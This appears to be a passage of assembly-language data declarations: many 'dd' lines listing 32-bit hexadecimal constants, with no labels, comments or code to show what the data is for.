dd 0D75355Ah, 0CBC6818Ah, 4FFF853Dh, 66F2D9C7h, 82D0BF89h
dd 0F03581E6h, 0D33B4D0Bh, 0F17464D0h, 7F0C84C5h, 31696872h
dd 0AF779FC7h, 9BC3CD78h, 5CD8F119h, 0A56D6608h, 94FA39EBh
dd 8C7DF663h, 0B3034550h, 0AD499E75h, 83B85787h, 7E7A7377h
dd 0DD86E97Ch, 614CD73Dh, 4B55E527h, 2FA1A7B8h, 0B7E815E7h
dd 6F71FE1Ah, 61DC3C87h, 0FB61E7E2h, 7200BA0Bh, 7CD08B3h
dd 0AEC25079h, 80074AA2h, 16CFE0FCh, 0B91216DFh, 935A1B3h
dd 9AE442F6h, 289D15E5h, 237C5B88h, 6035C3DDh, 631EA2C0h
dd 0FD22C0C0h, 0C8FC78A3h, 3035C8D8h, 1EAB90FBh, 4094421Ah
dd 2EE1288Bh, 72EE6561h, 99260E6Dh, 7C183A42h, 0D8655DEBh
dd 2469DA96h, 0F490B286h, 5EEEC263h, 1B14AED5h, 0DA609B3Ch
dd 20D5EA83h, 0C2803F40h, 0F7010C8Fh, 2825A2Ch, 0BC78AF99h
dd 2B7527ECh, 0F9901C52h, 307E37B0h, 9A70CBEDh, 2BF9FA51h
dd 0AD9C8B41h, 21146EFh, 0B06A8877h, 0E923BA75h, 2EBCADC1h
dd 239CEDE7h, 9F41619Bh, 5202761Eh, 9A980DFFh, 1679FBFh
dd 0E6E6EE4Ch, 4C9A86D5h, 0A34F8C23h, 0DECE3D81h, 1B7C9568h
dd 0E7BB0F50h, 0E5FFB2E3h, 0FA6B6951h, 27932774h, 0FBF1EB71h
dd 0D4D96C4h, 8E1B9628h, 1102FFD3h, 0C807591h, 0B3EE26BDh
dd 0F8C71C39h, 4C5A5970h, 9DD7DE3h, 41A2FCC8h, 503937B0h
dd 4656C031h, 0CE6979A5h, 72F13D14h, 2AD2AA93h, 8886B0FCh
dd 0A36AFE8h, 57847CA9h, 59D76DADh, 0DB0B28F0h, 9E62D0BAh
dd 7CAC160Ch, 0FB7AB90Ah, 0F161141Bh, 4289F0BBh, 0B1CC778Ah
dd 47852770h, 0F29993B2h, 6856BE3Ch, 6916B5F5h, 39EA6334h
dd 4B444ACh, 6539D91Fh, 90451C5Eh, 7E35F248h, 0B53C1ACFh
dd 0D4928F96h, 277606BDh, 0B93A3CD8h, 8EAC2A2h, 24E11653h
dd 64A69060h, 61971393h, 959E20E9h, 3D5FB12Ah, 17352932h
dd 76AB86FEh, 0A3F66DC1h, 14EBA6DDh, 0ADD00DD0h, 0B95F7772h
dd 0C428C02Eh, 211784A8h, 13BBFC2Bh, 0CDDAF29Eh, 3CF94FC6h
dd 21EC3DCBh, 0E38A05BBh, 6A3AC85Eh, 0A8A09BEFh, 7A0F44A0h
dd 0B1D0A0D7h, 0C68189E6h, 0E1242DFAh, 7D2B2F46h, 0EC6F0E33h
dd 0E883BBF4h, 6D05A757h, 8513CB2h, 0D9E3D44h, 5D2EF155h
dd 0A635C7D1h, 0E0A64DB1h, 0D0756159h, 0DFBA1306h, 8FA31404h
dd 0E0FEB90Bh, 6DBB5BCDh, 0A6AEC5CAh, 0E0F36CEFh, 61463DDBh
dd 77EEEB69h, 213B8685h, 116682A7h, 0FECF9617h, 0E9FDD60Ah
dd 66D3C65Ah, 0E0E6DF09h, 27999C02h, 0C3ECBB86h, 15D5BDE3h
dd 6DFE6FC4h, 1C8A9CBCh, 0C619D8FDh, 126FCDF2h, 1B0BE3E0h
dd 0A7AF3361h, 1AC8A195h, 75B41406h, 0DDBD4AF1h, 0E179956Eh
dd 515B5C15h, 7B314496h, 6DEC93FFh, 38D22849h, 0F232A3A9h
dd 4BC5946Eh, 0AB9A5FEDh, 95AC7585h, 0D8CA27B8h, 0EABC2D72h
dd 8F275C46h, 0DDBE8FFEh, 0CC832EBBh, 26468476h, 65898322h
dd 9E568370h, 0DC2E75FBh, 54254711h, 3AC9B36Ch, 0D3F3D65h
dd 0C71188F9h, 0EB10E224h, 0E5193C9Fh, 0C24CE4C9h, 6D9904BFh
dd 0BEACD7C0h, 68490912h, 5DCAB9CFh, 93326694h, 246CE2B7h
dd 0E4C46C5Ah, 0E4EC0138h, 9F438E08h, 0C8FE68BAh, 1CD9593h
dd 1756BCFFh, 0E3ABFEC0h, 40951E28h, 37751917h, 4F11C662h
dd 678DE171h, 72B20F0h, 0E30435BEh, 6BA58D5Bh, 0C00BCDD9h
dd 0C661AC3Eh, 44D4421Eh, 0A5CF4B9h, 0C580B7DDh, 11221EBEh
dd 2A8F2666h, 0B9890650h, 68E78E09h, 0B6E7A887h, 7B49CB0Fh
dd 0BA9D0353h, 17A65F44h, 359DE516h, 83B328F1h, 0F3422E1Eh
dd 9440FA2Eh, 789DCFFAh, 8E86536Bh, 0C0315B2Bh, 75D658B1h
dd 8BC9FC27h, 0C0274571h, 8592006Eh, 49C95D38h, 5D15E54Dh
dd 159DBAE1h, 12C40E3Dh, 4E6B4C85h, 0A88AA4C3h, 0FD3A464Ch
dd 0DB9A8D5Ah, 0EC44B2A6h, 6AE80729h, 6663D4FFh, 3B434CA5h
dd 59081581h, 69010421h, 984E074Eh, 5BFE999Eh, 0E288282h
dd 53662B3Bh, 99146C1Bh, 0B1CF4902h, 6D687C14h, 23757137h
dd 36AFD4A0h, 0EC988387h, 41AF968Eh, 6839B19Fh, 0E7058B38h
dd 0A151C58Bh, 0F4CBBDD4h, 0C14F9041h, 0AA4691ADh, 30BC9B21h
dd 0E76D3654h, 0EA581586h, 0FCAA5AFCh, 1487E9E2h, 5C0E8670h
dd 0E21DD34Fh, 24ECAF57h, 199F2B69h, 2F4F4818h, 0B2BA5F56h
dd 2D7F595Ch, 87DA5529h
dd 0CC135A42h, 2A7C3573h, 99D06193h, 45055FEBh, 347E7C9Fh
dd 78E9B3A3h, 0DA9CDBBEh, 0EC34BA1Dh, 2A6DDBC1h, 7E67B072h
dd 991DA565h, 0B009FDA5h, 7E494DB0h, 94998229h, 324913A4h
dd 771CF60Fh, 8CE7F354h, 0DB23EA86h, 6784DABFh, 5827CBD8h
dd 0BD0CD873h, 0FF28648Ah, 3F50E877h, 1B4A608Fh, 363DB7A2h
dd 0D75193BAh, 74A503B0h, 151A7BE4h, 0B8222CFFh, 2368720Dh
dd 0A182EF3Fh, 0CCA8D993h, 1753F56Dh, 0A77952D5h, 142E5641h
dd 382287F9h, 0D2B12AD8h, 66FD0F48h, 0C05357F9h, 97125274h
dd 6E0ABCF9h, 15FA7DA6h, 0D71F6935h, 8DBF6B35h, 0C684EB8Eh
dd 0B9BAB7B7h, 0AB8D0C82h, 0BDEB7DFCh, 0AAA6C2B9h, 610D0DB0h
dd 0B1490862h, 664C4A2Ch, 97AD829h, 97CA4E01h, 8C452447h
dd 82805303h, 7FD9DF8Ch, 821ABFF1h, 0D7008A04h, 34BA6173h
dd 9F2423C1h, 0CFCD415Eh, 17695B7Bh, 0D92D09CCh, 401AF8DCh
dd 6DE79015h, 0A8E1D8D1h, 62285688h, 9946E908h, 0CB7A012Bh
dd 9363FA6Dh, 77BBC83Ch, 16A52094h, 0EEC3653h, 333E4153h
dd 3E290E3Ah, 5C9B6569h, 2A592963h, 78D18360h, 31400CC1h
dd 0DC13B1AFh, 0D7D42841h, 965BF90Ah, 9A64507Ah, 5A46F896h
dd 802BC84Ah, 6B64BEC9h, 380B3338h, 87301926h, 0FCCE108Bh
dd 3AC54A40h, 3C34BEECh, 212C2BCh, 0C177490Dh, 78049BA2h
dd 0EAA425E3h, 5A659307h, 0A2D222A7h, 0CF64B68Eh, 438F8CD4h
dd 0AEC9F8EEh, 0B43DAF2Dh, 853BC675h, 0DC03A060h, 0B05BF463h
dd 3E20ED90h, 0D790B737h, 2CBBF3F2h, 387900A3h, 0FC271EEh
dd 9535B08Ah, 89E664A4h, 767D7119h, 94FBA712h, 0F4BFA210h
dd 0EDAC619Dh, 131D266h, 1B2BF334h, 130E08C1h, 0C7AD15BCh
dd 9E95375Eh, 2757C7E0h, 4DA811AEh, 0F8F578CEh, 6BF69203h
dd 1C4EF123h, 0DAB0E5BAh, 0CD3ABD9Fh, 0DB054173h, 0E5F4F0D1h
dd 0B9075F7Fh, 0E43C8BDFh, 1632EEE2h, 0CBB71F84h, 0D68BD68Ch
dd 393EA568h, 17F53B9Ch, 6E969843h, 0FA9ABC22h, 0CB2670FDh
dd 0E666EC51h, 6EE6548Bh, 3A95834Eh, 4AAF8C50h, 0E651399h
dd 0C6D01E6Bh, 11B5D69Ah, 595937E3h, 41CB2259h, 24E1A1h
dd 0E541161Ah, 181D4ECDh, 0A7CBAA39h, 7B58D1B8h, 6472782Dh
dd 8AC95A8Dh, 344EE2F3h, 8FC472D6h, 804A80Dh, 27917F20h
dd 1CA74D47h, 20D64DAFh, 3E1A8672h, 906EE409h, 0E69C2200h
dd 5FC8EDD4h, 0AC88D74Eh, 0D29B9769h, 0BCAC8492h, 365834D0h
dd 6F1D6C5Ch, 69659D8h, 0F279C118h, 7BA73A5Dh, 12AD5CBFh
dd 7027FFF8h, 0D32AE3C0h, 545FD0B2h, 92B20D67h, 3EFF3DA7h
dd 9700DB44h, 0F4E7B9Ch, 717739A5h, 0E14735C6h, 0F40115C7h
dd 29923C7Ch, 0B11FB410h, 3D75089Dh, 0AE531488h, 41301E60h
dd 587E5F3Bh, 485453EBh, 0FE86A6F7h, 0A34B2208h, 67935FB0h
dd 0EC19BB83h, 859A7792h, 0D327A749h, 6E7B6004h, 0AE07BF60h
dd 0F3310D8Ch, 0E72CAA58h, 329BDD78h, 40B44462h, 29023DA0h
dd 2E4268B2h, 1EE7E49Ch, 2FD8081Eh, 2796EAF0h, 0E401FA81h
dd 0C13556B5h, 0D042A001h, 4E7DF771h, 0D747377Ch, 0BF412D41h
dd 142AD2A1h, 1B1F0EC3h, 56D4C18Bh, 0E15404E3h, 0C256143Bh
dd 6709EAB7h, 305F6867h, 33C70E9Eh, 44774BACh, 9FD3464Ch
dd 333AD746h, 2AD86505h, 2D7BD882h, 25169341h, 2DEA36D5h
dd 1C04B46Bh, 2AA3B2A9h, 652790C8h, 26566F39h, 0E09EBBB6h
dd 9B0E8623h, 4EB58683h, 562BCE36h, 0DEE7D00Bh, 0A2F0D833h
dd 2CB4D65Ah, 0D440CC44h, 0C4A889F1h, 3921392Bh, 0D88BB3A4h
dd 0CCAD18EDh, 348D244h, 0F610B1A8h, 3A14E7A2h, 89747AD0h
dd 0D1B51774h, 97C74917h, 63221DFFh, 529AA53h, 9780495Bh
dd 0D9D049BAh, 0C79FB546h, 0E7AF782Eh, 7ED9001Ch, 0BF116FAAh
dd 798F3D15h, 2C0E5D05h, 0A0DCF6B8h, 8FE377DFh, 0A2770475h
dd 2AC61ADDh, 804ACFD7h, 0FCE527D9h, 5CCFF389h, 0BF85E0C8h
dd 0D0E534B3h, 0E485D612h, 0FB61205Ah, 19714673h, 20D5688Eh
dd 0ABEEC38Eh, 33C8A732h, 0BE0B6E1Dh, 0CC8BB38Fh, 326C106Eh
dd 8D72072Ch, 3CC13C3h, 96597214h, 0DF860FDAh, 0AB763CE6h
dd 37C76696h, 7EDBA181h, 3B680661h, 706E78A5h, 8266C5AFh
dd 0BA751ECFh, 0FD402270h, 0B8D6ECCAh, 8C4A0FDh, 175C147Dh
dd 4EA15FC0h, 0C5D8127Dh, 8E7485B6h, 76F68D47h, 4EC59F08h
dd 27E240C0h, 0FD4AF8Ch, 0FBAB16A0h, 3BBB3920h, 46AA8AF6h
dd 2721D2E5h, 8B9E35B0h, 19FD6F33h, 296774AAh, 956346CCh
dd 1BCB4C7h, 4FF33F61h, 14D4CA2Dh, 66BFA930h, 0CD96E071h
dd 525914D6h, 0E8B77CF5h, 1B8C5179h, 9545A0Fh, 0DCE00E65h
dd 0FC3BAA18h, 9FAF674Ch, 0F2AA8524h, 85B579D7h, 68E12333h
dd 423CFEC1h, 976F1353h, 76B365D6h, 0B7885B85h, 0C2B69A5Ah
dd 0E22ABC33h, 0DC6CCD73h, 5B7A1D7Ah, 69A543E3h, 0E9C6EC1Eh
dd 52DA1EF5h, 784C974Fh, 7273184Eh, 3147DE07h, 0B8474B3Ch
dd 0EEE48AA2h, 7F6D7949h, 64A36F4Ch, 0C6AF395h, 0BE236332h
dd 9878CE4h, 7BFF0801h, 6A029640h, 90EFA797h, 57D9B206h
dd 8395F4FBh, 0F2863B14h, 68A832D2h, 0AD8F46EEh, 2F5D4621h
dd 1795BA09h, 4B895C84h, 0C9920249h, 0D9C83358h, 0D6AB13D8h
dd 0D1F97B9Ch, 6F728D24h, 25BD4AEAh, 9E11C29Ah, 0A477C823h
dd 3514C8D7h, 7A379F16h, 1C3880FCh, 0A8325C55h, 87D2637Ch
dd 0F3C53ADFh, 2E1C1256h, 0A8B53A8h, 74CA31E5h, 0D0B63E3Ch
dd 0E63EF698h, 61AC7CE0h, 738214AFh, 8E2B2345h, 1DA12AFCh
dd 68686404h, 2CB1C123h, 0E8BC35C6h, 0D169F46h, 0F7DA4B9Dh
dd 5F407EE8h, 0F40A0A8Eh, 36A27802h, 26F588F0h, 0A3FD0FFFh
dd 41C5B6D7h, 6B1A0DA6h, 210B221Eh, 0ED68E9ADh, 94CBDCD9h
dd 5BF2E027h, 0DB14D339h, 2D8BB241h, 863218B2h, 762E8ED3h
dd 46599C30h, 1BD2FFCDh, 224540E2h, 403BED5Fh, 0DAF524CDh
dd 92761B54h, 0E8203D5Eh, 3B63CEDAh, 0D0B90618h, 22EA7AC8h
dd 97CB9DB8h, 7E7D47D7h, 629A3D7Eh, 0C7D2117h, 0D324B4A0h
dd 0C8DA5872h, 71C90DA8h, 6FCA4B4Ah, 0B53C4F52h, 0AB82A4BFh
dd 0D06BCF68h, 2526D95Ch, 59C4E15Dh, 4D8F7C93h, 0BEC58CF6h
dd 471F803h, 21DA44C3h, 0AE3436CDh, 5C4182A7h, 869470EBh
dd 23EF5986h, 777557B5h, 0A4DC7608h, 0EADB90Dh, 8B9ADB2h
dd 6862C932h, 0EF9BAA3h, 2C80E0ECh, 0ABF9F19Ch, 74C7ABFEh
dd 0B28C4C01h, 0C1501B0Ah, 0FA33610Dh, 3A0AD5D6h, 95E77A9Fh
dd 115CBCBCh, 204C2EA6h, 886E0F97h, 91691EDBh, 7455813h
dd 93EE2456h, 0BBC6BF2Bh, 0DD8B7DA6h, 1FFD5EDCh, 6D23F57h
dd 0FEFB4659h, 0C6C9F53h, 81186D90h, 3C97F481h, 64597A08h
dd 0D8A5F80Eh, 1AB4BF15h, 0B6E3A4C3h, 41D6AAA2h, 0D34B988Fh
dd 0A7BFB624h, 44FB662Fh, 0BAEF2FE0h, 0C3F0BB21h, 639FE653h
dd 0E63A3FC7h, 90C6589Ah, 81B2730Dh, 0B0E6A700h, 88C81AF3h
dd 47883407h, 7293E718h, 9F963F75h, 2046F69Eh, 425EAF24h
dd 0FA7A339Dh, 81FDB991h, 9C9BD31Bh, 3AF1254h, 7E3BD9D9h
dd 465CFA0h, 0E1B8E1BFh, 0D3C4EED2h, 0D0961332h, 74512C9Eh
dd 5068E916h, 0BF85BF5Fh, 905371B4h, 8102A7E0h, 0A6DC8964h
dd 3D99D1h, 9AB45BC3h, 40EFDFE8h, 0A86D98BFh, 0A21501AAh
dd 4A79E2DDh, 6167627Ch, 0B763C0B4h, 88C346F7h, 0CD91EAC0h
dd 189467DAh, 0E7BB2258h, 911CE39Ah, 515ED31Ch, 0E5E2ECDAh
dd 11167519h, 0B7D2B47h
dd 0BF56A372h, 0D405DFDEh, 25D85E1Bh, 0AB361FDFh, 1F589F42h
dd 5E2CF7C4h, 0AC5A3E53h, 2AD6D1BAh, 96C73DB0h, 0D2896BEDh
dd 0C629941Eh, 662CD40Fh, 48C2717Ah, 0BAAB5AF2h, 9B620D74h
dd 458675EAh, 2324CD26h, 1FF32FFEh, 6B81F2C9h, 9EA575F0h
dd 2B029229h, 47B2C0C6h, 0C61630ECh, 0B145BA37h, 0FE8511EEh
dd 0C56D6FC4h, 5099CC15h, 90DE4C5Bh, 3330C330h, 5ACA6BA3h
dd 0F2FDDBD7h, 0BDF7FF92h, 391E1787h, 0D398F03Dh, 0D978D12Dh
dd 9AB24B34h, 2E4B8BDBh, 48896272h, 0CD697C34h, 80F00B92h
dd 0B92B04A2h, 23182A33h, 0BE31BD28h, 0D3D2940Eh, 0F6285536h
dd 45AD2453h, 0A0F0BC90h, 45D6E32h, 0AFCCE938h, 23C76C84h
dd 0A667572h, 0E9994103h, 0A8E1D914h, 0D350088Fh, 6F5D9E5Eh
dd 78201861h, 0BD26FAEDh, 4E8496E9h, 6CC89E03h, 3474750Bh
dd 3D8E5BF7h, 0ED1BBCE4h, 0AF75103Ch, 0FE1B23B2h, 2CCC7F61h
dd 20E80913h, 0B170D358h, 9ADD9FE2h, 96024B3Ch, 0DFBCD87Ch
dd 5CE318EDh, 6C8063D1h, 1009009Bh, 78CC119Dh, 5502AC72h
dd 149E6446h, 55795EEEh, 8154B0D0h, 15C5E1E5h, 4C412AACh
dd 0A22BDF06h, 0C46B83D7h, 6578FD31h, 542B8761h, 319489Ch
dd 984ED4A3h, 5B49CE1Eh, 35676BFDh, 0A8EA5F86h, 9E59B7CAh
dd 84D30441h, 4BD204F3h, 8F60D1Eh, 0B33069A2h, 43E6B863h
dd 2228D91h, 0AF63C8FFh, 0F64AEEFBh, 0AEEEFEF7h, 0B6657939h
dd 620100CFh, 4F29FDD4h, 4C9D5499h, 16111AB1h, 0D1400715h
dd 2A1C227h, 0C36F7495h, 0B6667E6Ch, 4A58BD30h, 7F49921Ch
dd 7B93198Ah, 0A5D6454Ah, 0EB100A59h, 3E2D844Dh, 0FE474821h
dd 86AA1C0Dh, 3CC16FA1h, 19846ACAh, 166FAD9Fh, 3F600970h
dd 0ECCA3A33h, 167DF61Eh, 90C27DD5h, 8F56B6F4h, 252D2785h
dd 77FF4657h, 14B1FE38h, 0A1BB3366h, 2677F307h, 4E8306C8h
dd 6D898815h, 87BC0FDDh, 0C3E08B6Eh, 49ADA5F9h, 0C23058D6h
dd 0B0EE0F7Fh, 3AFCAD29h, 0ECE2384h, 8174661Dh, 3C122692h
dd 7CAE9BCh, 8EF6DCF6h, 85D9215Ch, 32EDE366h, 0F069576Bh
dd 0C02CBB23h, 0A5F66A7h, 0FC1AD3BFh, 0B4652E05h, 0D66A81E7h
dd 0E43DC6F0h, 0F85FDE1h, 6BA3F297h, 0B2FBE020h, 0C5A4ACFh
dd 6A2DA4D5h, 73CD669Fh, 0DDD96C0h, 8198F086h, 80EFADFAh
dd 21815326h, 0DE70A912h, 0E7C28A56h, 1A9F5995h, 459684BAh
dd 4D6343B5h, 0D0FD2FB7h, 5F54221Fh, 4328FFBh, 0BAAF6A7h
dd 0D7BD735Dh, 0E37533F5h, 2FE9E053h, 8C6B3072h, 0EE4C789Dh
dd 0C55B52E0h, 0E1D3C5A2h, 31A9DA64h, 94831D51h, 78A14B72h
dd 575A3CCFh, 0AA375167h, 1AAD6D57h, 3DA70A5Bh, 0B15125B5h
dd 929BC027h, 20E9C94Fh, 3D0D50F4h, 0DBFE3E33h, 0A7FBEDF6h
dd 0F4489B31h, 8A5B8585h, 32F18CA5h, 9A9AFD03h, 71671D69h
dd 1BA5245Eh, 577DB58Ch, 62FD15A6h, 0DFDD8C57h, 9E69986Fh
dd 0F6DB6069h, 0F93481D0h, 4DB258C3h, 6F0D5053h, 0A3BAF54Fh
dd 8CA30C99h, 887C7425h, 3D6E8457h, 0E7D8F366h, 8210460Ch
dd 0D4776F84h, 11C2721Fh, 4BBB0625h, 0A0FCCA36h, 98245ED3h
dd 0C02043A6h, 1E8A177Bh, 209EB2C3h, 0C2FA962Dh, 3FF7162Bh
dd 3C5507AEh, 0F72F4983h, 98793575h, 91943E69h, 5F17D313h
dd 8A4C4579h, 6CE4066Ah, 9370279Dh, 63ED35DAh, 0A2F8D45Ah
dd 18BE8822h, 0A5BEFDAEh, 7E98CC90h, 0E218CA47h, 9E911149h
dd 1BB6E400h, 0F35F1066h, 30DB3772h, 0AEEA9FFCh, 5D83DBA9h
dd 616B7890h, 0E7D29CAAh, 51D4F221h, 9FBB0306h, 4D5E9B46h
dd 52123F02h, 1DC111A8h, 1F0803C0h, 1765409Ch, 570A9273h
dd 54F521D6h, 0D7279FC7h, 0C1960EB2h, 9450AA24h, 1BE56269h
dd 0EEF7DFB0h, 7DB34E03h, 0D0B82B95h, 49B75CA7h, 68B726E9h
dd 0BE4086C5h, 5A89EC54h, 59C6FD55h, 0DCD12522h, 0E58CE0D0h
dd 82C0511Bh, 0C10578DCh, 0DAE3F97Bh, 14B997AAh, 20319D89h
dd 0D11FF060h, 951BD98Ah, 0ADCE9BA7h, 1D8E7C5Dh, 0E485CDFCh
dd 751978CEh, 947E61B3h, 4D2BA43Dh, 0D4A58A7Bh, 0DA30C8Bh
dd 9A36ECB2h, 317BF9D2h, 2FA00C3Dh, 4BDD9738h, 0A959144Fh
dd 4021CC98h, 5A67CD94h, 8259F1EEh, 0A5CCC553h, 9FC5AE6Fh
dd 436FDA9Ah, 5310C9DFh, 769DCFF8h, 17FADED0h, 7D388A8h
dd 0CE44C7BCh, 7D40A8FCh, 0A7D5C59Dh, 0A42AFA2h, 788ABF4Ah
dd 334DA8D3h, 0AE21E739h, 55BFF0DFh, 0F0840080h, 81BB10B5h
dd 0B3EAF9C4h, 1A1B06C5h, 856A725h, 0C264E5A0h, 0E4F33B5Ah
dd 5F37A64Dh, 0E30637D5h, 7EDD9538h, 299EADDEh, 9E2B2F5Ch
dd 2B738079h, 2C39C86Fh, 0D86430BEh, 2090DA18h, 0BFD6AABEh
dd 0F22357A7h, 0C3F100C1h, 2FA4E3D6h, 0A24A9CCDh, 0C77E3C9Ch
dd 0C98D5C5h, 0CC3BCF3h, 64CE8D9Ch, 41835CC7h, 4D0E24B9h
dd 334816BCh, 7CD57FE1h, 40791854h, 0E17D5856h, 0F7733FAh
dd 281EB250h, 0F7A62E0Eh, 0E10BFFA7h, 32147C6Dh, 0C6FCCD29h
dd 7603E7F3h, 3C873A59h, 428F29CDh, 613C52E7h, 2772F462h
dd 8A02CEECh, 8D9CE577h, 3D205AACh, 0F83EF47h, 0B8A2AC7Eh
dd 0DFA9725Fh, 9492956Fh, 9CB4C07Bh, 699665B0h, 7671A54Ch
dd 3D513AA2h, 1B566333h, 636C23CEh, 0E61A76A9h, 0B8DEABECh
dd 55A2F8E1h, 2BF32F0Bh, 4FCC1F20h, 8CA664DDh, 7EEB5905h
dd 4CFF86D1h, 9878570Ch, 3BA8BCBEh, 70AD35C9h, 42202E2Ch
dd 95401435h, 6EC829A6h, 15EC4B24h, 0A3E4AAD0h, 4F9202A1h
dd 0EE9765C8h, 0B1C399h, 52C4E3ADh, 86714028h, 5C6804DDh
dd 76899558h, 49563E55h, 0B95BAB5Ah, 0FB2752CDh, 921119C0h
dd 9A845BAFh, 0D4C4926Dh, 0F4018CEAh, 0F511DC66h, 9E2FAA5h
dd 9CE15411h, 0CCB1512Dh, 655D0716h, 0D5150FD7h, 3AACBFA6h
dd 7CD417B5h, 21255889h, 0A9500331h, 4E04B5C9h, 1615FF39h
dd 18C09159h, 0A1E90DC0h, 61B8F864h, 84CA729h, 0F2233003h
dd 39A6E8Fh, 52EAF258h, 0DA693DC7h, 0FD508C1Eh, 4430FD70h
dd 0A4143D34h, 0D2681218h, 0F7AD75Eh, 616B6C82h, 0CDE94BBDh
dd 3C0051C4h, 921AB91h, 89A8445Ch, 0D2B8175Dh, 79669C8Dh
dd 0A8977AADh, 0D2B3908Dh, 58484B21h, 0F892A75Ah, 1265C139h
dd 0B33363B3h, 9E29A57Fh, 210B4DC3h, 1A12010Ah, 7A7FD54h
dd 0EEDFBCB8h, 6B4F22C2h, 845B0400h, 0CD78B34Bh, 83B89BB9h
dd 312F806Ah, 0CDBE990Ch, 5FC2B05Dh, 0F544586Eh, 29557C33h
dd 482ED34Ah, 71A4BE64h, 2520C17Eh, 6E753098h, 0AD68BFF5h
dd 0A8778DBCh, 0CF442AA6h, 0EBD94D38h, 0A1005512h, 30500E5Bh
dd 0C2611797h, 0DAD82F7Dh, 79732604h, 3A69EE30h, 91490E30h
dd 0A13D5107h, 0A6A1E87Bh, 4717E13Fh, 817161E2h, 396D648Ah
dd 95F3624Ch, 0E3EEBA20h, 840DEABEh, 3689A933h, 8DD02276h
dd 97D584C1h, 4C7F6BBBh, 0D7C7644Bh, 0F35C5A1Bh, 69D912BCh
dd 0FB3A63A9h, 42F312EDh, 31FFE3A7h, 5B92B27Dh, 0D1F8D208h
dd 0E8AD18A7h, 0D73C2CE0h, 0C07FA5Eh, 195141A4h, 0F726C5F6h
dd 0FC87C28Ch, 4E54AC67h, 40A53F6Dh, 0ECB43522h, 3D6D690Ah
dd 0DD8813B6h, 0F8B73E7Eh, 61B5163Dh, 9A29EDDBh, 93E516D5h
dd 7AADF3BAh, 8F2872A5h, 5EC9076Dh, 4C6D3D12h, 5DC3B74Eh
dd 3651A0D0h, 79C16A25h, 0BF2FFAD2h, 16CDE9EEh, 6B1EFD50h
dd 0C064872Fh, 0AC2733BEh, 0A3329303h, 7637BD42h, 92C4EBF0h
dd 0D4429EF6h, 0A7AC605Ch, 0DD4F54ABh, 0F3E76E5Fh, 0C20ED6FBh
dd 0CD8EE0B7h, 483D796Eh
dd 0F3D9AD69h, 0CF8DB11Fh, 69A70289h, 3F537D96h, 7DBE4F88h
dd 0AB646BDEh, 9EE33EE3h, 4019CB74h, 3C9DEE92h, 51E47309h
dd 355F6106h, 22F437F3h, 0B271FD30h, 5167D567h, 6FC9CAD2h
dd 0B97BD74h, 96A5A8B8h, 6EB4ADFh, 80D2A6AFh, 3A05E061h
dd 8CC57DD8h, 0D0B145DAh, 0C6F155DCh, 505A77B8h, 99161B47h
dd 87671A59h, 0F90C03F4h, 55F898C2h, 3C910AE5h, 333102E2h
dd 0A2618DA6h, 0C53E37F7h, 961EE9C4h, 9BA912D7h, 0DCD132DAh
dd 694DBB98h, 5F1F6FAh, 36B3A78Ah, 0DE2420C9h, 2EF95DA8h
dd 9237CE43h, 7EEC1F19h, 0C59E7C12h, 0B96727E7h, 8A5DBE97h
dd 0A0584789h, 0EF9EF72Dh, 66A9AB37h, 0BBB9D1B7h, 0FFC1295Fh
dd 0F945285Bh, 79FC7D13h, 0DF9B5B51h, 81FE326Fh, 0D3415CF3h
dd 0F37004FEh, 0E55FEF28h, 664285DAh, 846B45ACh, 1A31985h
dd 4D7B4420h, 3DF0228Ah, 52983817h, 816D0670h, 0C7921F4Ch
dd 9DD1FD59h, 0EA214206h, 5BFF6A9h, 955F5CAAh, 4E334561h
dd 0F3FE04B1h, 7E0CA2CFh, 51967EE7h, 5AF80ABAh, 4195B954h
dd 0D7B2749Ah, 5469BA0Ch, 0D0DAB7DAh, 0B126B427h, 0EDF86235h
dd 0E075558Bh, 0C629AF5h, 0C1FF9DB6h, 0B712166Dh, 590A46E4h
dd 95C11981h, 0F253475Fh, 0D49A6BCBh, 0F3568445h, 28215C9Dh
dd 0FA51E5C2h, 0D5ED6E93h, 301E1A2Eh, 6927D07Eh, 54B18D5h
dd 38FF72Ah, 10EAE977h, 0D4868AF0h, 406C00E3h, 4ADC5515h
dd 1C0EB987h, 0F9624205h, 3C12FBE4h, 6CCBF546h, 3F4F035Bh
dd 8D124E34h, 36B0644Fh, 60AE1288h, 9FF6E5Ch, 7D86C9EDh
dd 557C9DBEh, 2810C7E2h, 428B9195h, 0DE96852Ah, 2994FB3Ah
dd 0F688AD21h, 6AB42A29h, 0AFEEE7F0h, 0E1D567C1h, 0B1865E51h
dd 32697291h, 0B7413ADFh, 0D81DB251h, 0A74D4D04h, 0DD25A35Ch
dd 0AFC1B290h, 0FD0DCD0Ch, 3E5BB842h, 7A5AC977h, 7C41AC5Ah
dd 0CABC4B40h, 9211FE87h, 3D6B1992h, 7FE4C392h, 44C70FDBh
dd 0FD54FD51h, 56D34C85h, 5BF0BCD3h, 0FBCB7DA4h, 0D4A95378h
dd 7E659511h, 905E8AADh, 0B74B553Fh, 29016637h, 230FD8E8h
dd 0E13CDE16h, 0B7A2CB3Fh, 3B2541B1h, 0DD48DBF8h, 691E8901h
dd 0FA1C1CA1h, 657D0176h, 0C0CA3F79h, 0C260DE2h, 8334FB29h
dd 409C7E10h, 89B242C6h, 9ADE10AAh, 2661ABEBh, 856FD7A6h
dd 74DB9C92h, 57A8EC18h, 0DE8A1FE1h, 482AC3A0h, 5EEEE3Ch
dd 0F23747Bh, 98BA964h, 9A41359Fh, 0A4230918h, 0FC1C949Dh
dd 0BB6946C1h, 5068FD3Bh, 0FF23BDE6h, 0CF0847B8h, 67330A45h
dd 8D9477EAh, 89367B67h, 1FF07350h, 0D0EB1032h, 8FF5020Ch
dd 0A43C73A6h, 735257Bh, 0BEA09776h, 5D061471h, 9D5F0ACBh
dd 2FAABF6Ah, 0FBE501DBh, 6E6EB024h, 794466CEh, 0E4E099E3h
dd 3FDF983Ch, 88D93193h, 2EC45703h, 0A504256Fh, 0B954EC17h
dd 0E7F769BBh, 3E9EBC72h, 4D4026D9h, 0C39D7B9Ah, 0D5C741A5h
dd 0F259CA3Dh, 0AC885C43h, 0CA218153h, 0C8FB864Fh, 0E69A1341h
dd 17128161h, 287BAE71h, 0A2687711h, 1F7DEAE9h, 2D94A77Bh
dd 0A2C122A5h, 0CE852672h, 0A2116BA8h, 0C0E4D843h, 1D91F981h
dd 85A14554h, 738A8361h, 0C8A3F85Eh, 965C666Dh, 30EA9503h
dd 3191F82Eh, 15DDBCB7h, 0A9F178E6h, 4B7F2E47h, 0C1C2A2B4h
